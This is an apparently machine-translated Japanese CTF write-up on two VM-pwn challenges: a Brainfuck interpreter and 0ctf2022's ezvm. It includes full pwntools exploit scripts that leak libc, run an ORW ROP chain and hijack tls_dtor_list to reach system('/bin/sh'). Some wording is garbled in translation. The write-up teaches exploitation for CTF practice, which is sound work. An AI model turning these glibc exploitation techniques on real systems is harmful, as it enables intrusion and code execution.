実験4 VMPWN4
トピックの紹介
この質問は、仮想マシン保護の一種であるインタープリター タイプのプログラムであると考えてください。インタプリタは、ソース コードを解釈して実行するコンピュータ プログラムです。インタプリタはソース コードの構文とセマンティクスを理解し、それをコンピュータが実行できる機械語に変換します。コンパイラとは異なり、インタプリタはソース コードを機械語に変換せず、ソース コードを直接実行します。つまり、このプログラムは特定のインタプリタ言語を受け取り、特定の規則に従ってそれを解析し、対応する機能を実行するものであり、本質的には仮想マシンです。
このプログラムは Brainfuck インタプリタであり、Brainfuck の構文は次のとおりです。
これらの構文を C コードに変換すると、次のようになります。
対象保護チェック
checksec を使用して、プログラムによってどの保護メカニズムが有効になっているかを確認します。
すべての保護がオンになっている
seccomp-tools を使用してプログラムがサンドボックス化されているかどうかを確認する
open、openat、read、write、brk などの少数のシステム コールのみが許可されます。つまり、system("/bin/sh") または execve システム コールを実行してシェルを取得することはできません。
サイバーセキュリティについて学ぶのに役立つ、完全な情報セットを無料で入手できます。
① サイバーセキュリティ学習成長パスのマインド マップ
② 60 以上の古典的なサイバーセキュリティ ツールキット
③ 100 以上の SRC 分析レポート
④ サイバーセキュリティの攻撃と防御技術に関する 150 以上の電子書籍
⑤ 最も権威のある CISSP 認定試験ガイド + クエスチョン バンク
⑥ 1800 ページを超える CTF 実践スキル マニュアル
⑦ ネットワーク セキュリティ企業の最新面接質問集 (解答含む)
⑧ APP クライアント セキュリティ テスト ガイド (Android+IOS)
脆弱性分析
IDA pro でこのプログラムを開いて
疑似コードを表示します
std::cout や std::string などの関数を見ると、このプログラムは C++ で書かれていることがわかりますが、C++ プログラムは C 言語プログラムに比べて逆コンパイル後の解析が困難です。
一連sub_1EA2
の関数を解析します。a1 +0x400 に文字列クラスを作成します。後者は非常に複雑で理解できません。初期化関数のはずです。
sub_1FAA
sub_1F72
次に、sub_154B関数で
こちらがサンドボックスオープン関数で、最初にプログラムをseccomp-toolsで解析して得たサンドボックスルールを設定し、プログラムのシステムコール関数に様々な制限を設けています。
次に、コードを入力し、毎回 1 バイトを入力し、この 1 バイトを文字列に結合します。文字列は内部に他のメンバーを含むクラスであるため、ここで入力プロセスを動的にデバッグできます。ブレークポイントをダウンロードし、while ループが終了した後、コードが読み取られます。最初に 5 '>' を入力し、文字列クラスは rbp-0x40 にあり、内容を確認します。
最初の 8 バイトはポインタで、入力したコードが保存されているアドレスを指します。次の 8 バイトは入力バイト数、後者は入力したコードです。ここでは 5 バイトのみを入力し、直接存在します。スタック。さらに入力すると、0x10 より大きい文字の最初の 8 バイトがヒープ アドレスになり、入力したデータはヒープに格納されます。2 番目の 8 バイトは入力したバイト数のままで、3 番目の 8 バイトのセクション 0x1e は次のようになります。残りの空き領域、0x13+0x1e=0x31。一般に、入力文字数が 0x10 未満の場合、文字列クラスのおおよそのメンバーは次のようになります。
struct string
{
char *data;
int64_t size;
char data[0x10];
...
}
0x10より大きい場合は以下のようになります
struct
{
char *buf;
int64_t size;
int64_t capacity;
char tmp_data[8];
...
}
分析プログラムを継続する
真ん中の for ループはすべての入力コードを走査し、[ と ] を探します。つまり、プログラムの境界を探します。なぜプログラムの境界を探しているのでしょうか? Brainfuck を実行した後の効果を確認できます。 C言語として解釈されます。
[]で囲まれたコードがwhileループ内で実行されるコードです。
これより for ループダウンは、各文字の値を順番に判断して対応する演算を実行する Brainfuck 用の解釈コードです。
まず、右の>
操作が表示されたら、v19 に対して +1 操作を実行します。s は初期化の最初に渡される長さ 0x400 の配列です。ここで、s 配列のアドレスとして v19 が割り当てられます。> が解決されるたびに、v19 が 1 バイト後ろに移動され、そこで v19 が判定されます。 if 判定の問題です。v19 ポインタが文字列ポインタより大きい場合、v19 は終了します。つまり、v19 は文字列ポインタと等しくなる可能性があります。つまり、v19 は文字列の最初のバイトを指すことができます。そしてオフバイワンがあります。以下の図に示すように、v19 はピクチャ フレームの 1 バイトを指すことができます。
以降のその他の操作は最初に掲載した Brainfuck 構文と同じであり、抜け穴はありません。
次に脆弱性の悪用を開始します。
最初のステップは、まず libc アドレスをリークすることです。
リーク方法は、v19 が文字列の最初のバイト (buf ポインターの最後のバイト) を指すことによって行われます。これはmain 関数の戻りアドレスです。buf ポインターの最後のバイトを 68 に変更して、buf が戻りアドレスを指すようにします。プログラムの最後に string のデータが出力されるのですが、このとき string の buf がリターンアドレスに指されており、出力時に libc_start_main のアドレスが漏洩します。ここで注意する必要があるのは、buf ポインタがスタックを指すようにしたい場合、入力するデータは 0x10 バイトを超えてはいけないことと、v19 と string の違いは何でしょうか。v19はsを指しており、sとstringの距離は0x400なので、v19を0x400増やす必要がありますが、0x400 >と入力すると、再度mallocが呼び出されてしまい、bufがヒープアドレスになってしまいます。したがって、ここでは Brainfuck 構文を理解する必要があります。[] を使用するとループのような効果が得られます。v19 ポインターを継続的に増加させ、v19 が文字列の最初のバイトを指すと自動的に停止し、文字列の最初のバイトに 1 バイトのデータを書き込むには、これらの 5 文字だけが必要です。c に変更するための構文は次のとおりです。続く
0x7fffffffde68
+[>+],
++*ptr;
while(*ptr)
{
ptr++;
++*ptr;
}
これは無限ループのように見えますが、文字列の最初のバイトを指すと自動的に停止するのはなぜですか? これは、 > を実行して v19 が文字列を指すようにした後、次のステップで + を実行して文字列 +1 の buf ポインタを作成するためです。これは次の図に示すようになります。ポインタ +1 がフェッチされ、ループから抜け出します。もう 1 つのポイントは、aslr のせいでスタック アドレスが常に変化するため、libc アドレスのリークが成功するにはさらに数回試行する必要があるということです。libc アドレスを取得したら、それを使用することができますが、このとき文字列の buf ポインタが戻りアドレスを指しているので、再度コードを入力すると戻りアドレスに書き込まれるので、 orw、リターンアドレスを直接書き込むと、main関数終了時にorwチェーンが実行されます。また、注意すべき点があり、プログラムの先頭と最後にはいくつかの関数があり、先頭がコンストラクタ、最後がデストラクタである必要があります。エクスプロイトでは文字列の buf をリターンアドレスに指しているのですが、この時点で while ループを抜けるとデストラクタ実行時にエラーが報告されるため、orw の後の文字列の buf を修正する必要があります。チェーンが配置されているので、正しい位置を指すようにしてください。
]
,
スクリプトを使用する
from pwn import *
context.log_level='debug'
global io
libc=ELF('./libc.so.6')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
def pwn():
payload = '+[>+],'
io.recvuntil('enter your code:\n')
io.sendline(payload)
io.recvuntil('running....\n')
io.send(p8(0xd8))
io.recvuntil("your code: ")
libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
if libc_base>>40!=0x7f:
raise Exception("leak error!")
log.success('libc_base => {}'.format(hex(libc_base)))
pop_rdi_ret=libc_base+0x000000000002155f
pop_rsi_ret=libc_base+0x0000000000023e6a
pop_rdx_ret=libc_base+0x0000000000001b96
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
log.success('open_addr => {}'.format(hex(open_addr)))
log.success('read_addr => {}'.format(hex(read_addr)))
log.success('write_addr => {}'.format(hex(write_addr)))
flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000
orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)
io.recvuntil('want to continue?\n')
io.send('y')
io.recvuntil('enter your code:\n')
io.sendline(orw+payload)
io.recvuntil('running....\n')
io.send('\xa0')
io.recvuntil('want to continue?\n')
io.send('n')
io.send('./flag')
io.interactive()
if __name__ == "__main__":
while True:
try:
io=process('./bf')
pwn()
except:
io.close()
実験5 VMPWN5
トピックの紹介
この質問は非常に典型的な VMPWN であり、バイトコードを受け取り、バイトコードを解析し、対応する関数を実行します。ただし、この質問は前の vmpwn とは多少異なります。前の質問にはすべて、範囲外の読み取りと範囲外の書き込みの両方のループホールがあります。ただし、この質問には範囲外の書き込みのループホールしかありません。よりオープンで柔軟な問題解決の考え方。
対象保護チェック
すべての保護がオンになっています。
脆弱性分析
IDAオープンプログラム
文字列を読み込み、文字列が「バイバイ」でない場合は、sub_228E関数を呼び出します
sub_228E 関数を参照
各変数は、まず文字列の出力に従って名前が変更されます。
まずユーザーにバイトコードの長さである code_size を入力させ、次にユーザーにメモリーのサイズであるメモリー数 (メモリーの単位は 8 バイト) を入力させ、次に malloc を使用してヒープを適用します。メモリとしてメモリ数*8 のサイズのブロック。
次にコードを読み、最後に sub_1458 関数を呼び出してフォローアップします。
初期化関数のようですが、何をするのかはわかりません。引き続き sub_151A 関数を調べてください。
これはおなじみの解析バイトコードです。前の関数と変数の名前を変更しましょう。
逆分析を容易にするために、まず仮想マシンの構造を決定します。
まず、ここでの判断から、汎用レジスタのインデックスは3を超えることはできない、つまり汎用レジスタは4つあると推測します。
init_vm 構造に戻りましょう。
qword_5040 は、コードの先頭を指し、ptr はメモリの先頭を指し、後で malloc から 0x800 のヒープが出てくるため、pc ポインタである必要があります。この qword_5050 がスタック トップ ポインタであると推測されます。名前を変更すると次のようになります
exec_vm 関数を振り返ってみましょう
qword_5088 は明らかに現在実行されているコードの量です。
そして私たちは気づきます
名前を変更したばかりのポインターは同じ領域にあるため、この領域が vm 仮想マシンの場所になるはずです。
今の分析に従って、次の構造を作成します
struct vm
{
char *code;
int64_t *memory;
int64_t *stack;
int64_t codesize;
int64_t memcnt;
int64_t regs[4];
int64_t rip;
int64_t rsp;
};
次に、それを IDA に適用します。この時点で、exec_vm が非常に明確になります。
関数は全部で 24 あり、各オペコードに対応する関数は次のとおりです。
0:push
1:pop
2:将栈中的两个值相加
3:将栈中的两个值相减
4:将栈中的两个值相乘
5:将栈中的两个值相除
6:将栈中的两个值取模
7:将栈中的两个值左移
8:将栈中的两个值右移
9:将栈中的两个值相与
11:将栈中的两个值相或
12:将栈中的两个值相异或
13:判断栈顶值是否为0
14:jmp
15:条件jmp,如果栈顶有值就jmp,没有就不jmp
16:条件jmp,和15相反
17:判断栈顶的两个值是否相等
18:判断栈顶值是否小于栈顶下的一个值
19:判断栈顶值是否大于栈顶下的一个值
20:将一个立即数存入寄存器中
21:将寄存器中的值存入内存中
22:将内存中的值存入寄存器中
23:打印finish
次に、脆弱性の分析を開始します
先頭にmem_cntを入力すると以下のように判定があります。
ここで、入力が同様の場合0x2000000000000020
、mem_cnt
後続のアプリケーションのメモリサイズは 0x100 になります。これは、64 ビットで表現できる最大数を超えて整数オーバーフローが発生するため、最後の 0x20*8 だけが予約されます
。0x200000000000000*8
オペコードが実行されるとき、最初に入力された mem_cnt は、0x15 関数ポイントでメモリが範囲外であるかどうかをチェックするために引き続き使用されるため、範囲外の書き込みが発生し、レジスタ内のデータを書き込むことができます。あらゆる思い出。ただし、0x16 関数ポイントのメモリ読み取り関数は、v8 >= 8 * vmx.memcnt / 8 の処理により境界外読み取りの効果を失うため、タイトルの抜け穴は境界外にあります。 0x15 関数ポイントの書き込みを制限します。
ただし、範囲外読み取り機能がないため、libc アドレス情報をメモリからレジスタに読み取ることができず、仮想マシンには出力機能がないため、別の方法を見つける必要があります。
最初に libc アドレスを生成する方法。exec_vm の終了後に仮想マシンの各セグメントがクリーンアップされることに注意してください。
空きヒープは unsortedbin にリンクされるため、libc アドレスはヒープ内に残り、仮想マシンが再初期化され、新しい仮想マシンのメモリ セグメントに libc アドレスが含まれます。
オペコードが 0x17 より大きい場合、それが出力されwhat???
、この構築ブラインド インジェクションに従って libc アドレスがリークされる可能性があります。
まず libc アドレスをスタックにプッシュし、次にそれを1<<i(5<=i<=40)也push
スタックにプッシュしてから、0x9 のビットごとの AND 関数を渡します。
ビットが 1 かどうかを確認し、1 の場合は間違ったオペコードを実行し、 を出力します。ビットwhat???
が 0 の場合はコードの先頭に戻り、次のビットが 1 であるかどうかのテストを続行します。これにより libc ビットを取得できます。ビットアドレスによって。
上の図に示すように、これは mem 領域に残っている libc アドレスです。次の図に示すように、まず libc アドレスを reg[0] に移動します。
それをスタックにプッシュします
次に、reg[1] に 1<<i を書き込みます。i は 5 から始まり 40 で終わります。libc アドレスの最後の 4 ビットは 0 で、先頭は 0x7f でなければならないため、5 番目からテストするだけで済みます。 4番目までは40人で十分です
上に示すように、1<<8 は reg[1] に格納され、スタックにプッシュされます。
2 つの値のビット単位の AND
ビットごとの AND の後の結果をスタックの一番下に格納し、スタックの一番下が 1 か 0 かを判断し、1 の場合は終了を出力し、0 の場合は何を出力しますか? , libcデータの各ビットが1か0かを判定します。
libc アドレスを取得したら、getshell の方法を考えます。
libc アドレスを取得した後、任意のアドレスを追加して書き込めば自由に呼び出すことができますが、ここでは getshell に call_tls_dtors を使用しています。
call_tls_dtors とは何ですか?
main関数が正常に終了するとexit関数が呼び出されます。
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
exit 関数は__run_exit_handlers
関数を呼び出します
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
.....................
_exit (status);
}
__run_exit_handlers
関数内でチェックし、run_dtors
true であれば呼び出します。__call_tls_dtors
動的デバッグ終了関数、run_dtors
値を確認できます
pwndbg> p run_dtors
$1 = true
したがって__call_tls_dtors
、それが実行され、__call_tls_dtors
関数が表示されます
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
tls_dtor_list
存在する場合は にtls_dtor_list
割り当てられcur
、 cur はdtor_list
構造体ポインタであり、次のように定義されます。
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
次に、cur->func
に代入しfunc
、PTR_DEMANGLE (func)
次のように定義された を呼び出します。
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
純粋なコンパイルは次のとおりです
0x7ffff7e21428 <__call_tls_dtors+40> ror rax, 0x11
0x7ffff7e2142c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
0x7ffff7e21435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
0x7ffff7e21439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
0x7ffff7e2143d <__call_tls_dtors+61> call rax
とは対照的にPTR_MANGLE(var)
# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \
"rol $2*" LP_SIZE "+1, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
PTR_MANGLE は暗号化プロセスとみなすことができ、PTR_DEMANGLE は復号化プロセスであり、0x11 ビットずつ右に巡回シフトし、fs:[0x30]
XOR 演算して復号化された値を取得します。
fs:[0x30]
それは何ですか 64 ビット プログラムでは、関数がスタック解除されるときにカナリアをチェックするアセンブリ ステートメントにはxor rcx, qword ptr fs:[0x28]
fs も含まれます。実際、fs は TLS 構造体であり、次のように定義されます。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
int gscope_flag;
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[3];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long ssp_base;
} tcbhead_t;
stack_guard は fs:[0x28] (カナリア) であり、対応して fs:[0x30] は pointer_guard です。TLS 構造を見つけるにはどうすればよいですか? pwndbg で次のメソッドを使用します
pwndbg> canary
canary : 0xed8519fd5f3d4700
pwndbg> search -p 0xed8519fd5f3d4700
0x7ffff7fca568 0xed8519fd5f3d4700
pwndbg> x /20xg 0x7ffff7fca568-0x28
0x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae90
0x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000
関数に戻り、関数を復号化した後、実行します。
func (cur->obj);
func と cur->obj はどちらも tls_dtor_list 構造体に属しており、この構造体のソースは tls_dtor_list ポインタです。このポインタが制御可能なメモリを指すように制御できれば、プログラムをハイジャックできます。動的デバッグを継続し、tls_dtor_list の値を確認します。
pwndbg> p tls_dtor_list
Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:
Cannot find thread-local variables on this target
ただし、pwndbg は tls_dtor_list の内容を直接チェックできず、アドレスも機能しないため、引き続きアセンブリから検索してみましょう
while (tls_dtor_list)
以下のようにコンパイルを確認してください
0x7ffff7e2140a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 0x1a094f]
► 0x7ffff7e21411 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx]
0x7ffff7e21415 <__call_tls_dtors+21> test rbp, rbp
0x7ffff7e21418 <__call_tls_dtors+24> je __call_tls_dtors+93 <__call_tls_dtors+93>
fs:[rbx]
rbp に値を代入し、rbp が 0 であるかどうかを確認します。
このときのRBPの値は、
RBX 0xffffffffffffffa8
補数コード形式は、負の数に変換すると -0x58 になります。つまり、そのfs:[-0x58]
アドレスの値が RBP に割り当てられるため、tls_dtor_list のアドレスは fs:[-0x58] になります。
使用プロセス全体は、tls_dtor_list の値を制御可能なメモリのアドレス (通常はヒープのアドレス) に変更し、その後、dtor_list 構造体のレイアウトに従って変更します。
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
暗号化されたシステムのアドレスとしてヒープ内に func を偽造するだけで済みます。obj は /bin/sh です。
上記のアイデアに従って、範囲外の書き込みを使用して pointer_guard を 0 に変更し、次に dtor_list 構造体の値を変更し、 func を暗号化されたシステム アドレスに変更し、obj を binsh のアドレスに変更します。仮想マシンを起動します。これにより、system("/bin/sh") が getshell にトリガーされます。
スクリプトを使用する
from pwn import *
context.log_level='debug'
io=process('./ezvm')
libc=ELF('./libc-2.35.so')
io.recvuntil('Welcome to 0ctf2022!!\n')
io.sendline('lock')
io.recvuntil('size:\n')
io.sendline('38')
io.recvuntil('memory count:\n')
io.sendline('256')
code=p8(0x17)+p8(0xff)*36
io.recvuntil('code:\n')
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('y')
leak=0
for i in range(5,40,1):
print("leaking bit"+str(i)+':'+str(bin(1<<i)))
code=p8(0x16)+p8(0)+p64(0) #mov reg[0],mem[0]
code+=p8(0)+p8(0) #push r0
code+=p8(0x14)+p8(1)+p64(1<<i) #mov reg[1],1<<i
code+=p8(0)+p8(1) #push r1
code+=p8(0x9) #AND
code+=p8(0x10)+p64(1)
code+=p8(0x18)+p8(0x17)
io.recvuntil('size:\n')
io.sendline(str(len(code)))
io.recvuntil('memory count:\n')
io.sendline('256')
io.recvuntil('code:\n')
io.sendline(code)
# gdb.attach(io)
# pause()
data=io.recvuntil('finish!\n',drop=True)
if 'what' in data:
leak|=(1<<i)
leak|=0x7f0000000000
log.success('leak => {}'.format(hex(leak)))
libc_base=leak-0x219ce0
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh\x00').next()
tls_dtor_list_addr=libc_base-0x28c0-0x58
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
size = 0x2000000000030000
io.recvuntil('size:\n')
io.sendline('100')
io.recvuntil('memory count:\n')
io.sendline(str(size))
code=p8(0x15)+p8(0)+p64(0x302ec) #mov mem[0x302eb],reg[0]
enc=((system_addr^0)>>(64-0x11))|((system_addr^0)<<0x11)
code+=p8(0x14)+p8(1)+p64(enc) #mov reg[1],system_addr
code+=p8(0x14)+p8(2)+p64(binsh_addr) #mov reg[2],binsh_addr
code+=p8(0x14)+p8(3)+p64(libc_base+0x220000) #mov reg[3],libc_base+0x220000
code+=p8(0x15)+p8(3)+p64(0x302db)
code+=p8(0x15)+p8(1)+p64(0x747fe)
code+=p8(0x15)+p8(2)+p64(0x747ff)
io.recvuntil('code:\n')
#gdb.attach(io)
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('bye bye')
io.interactive()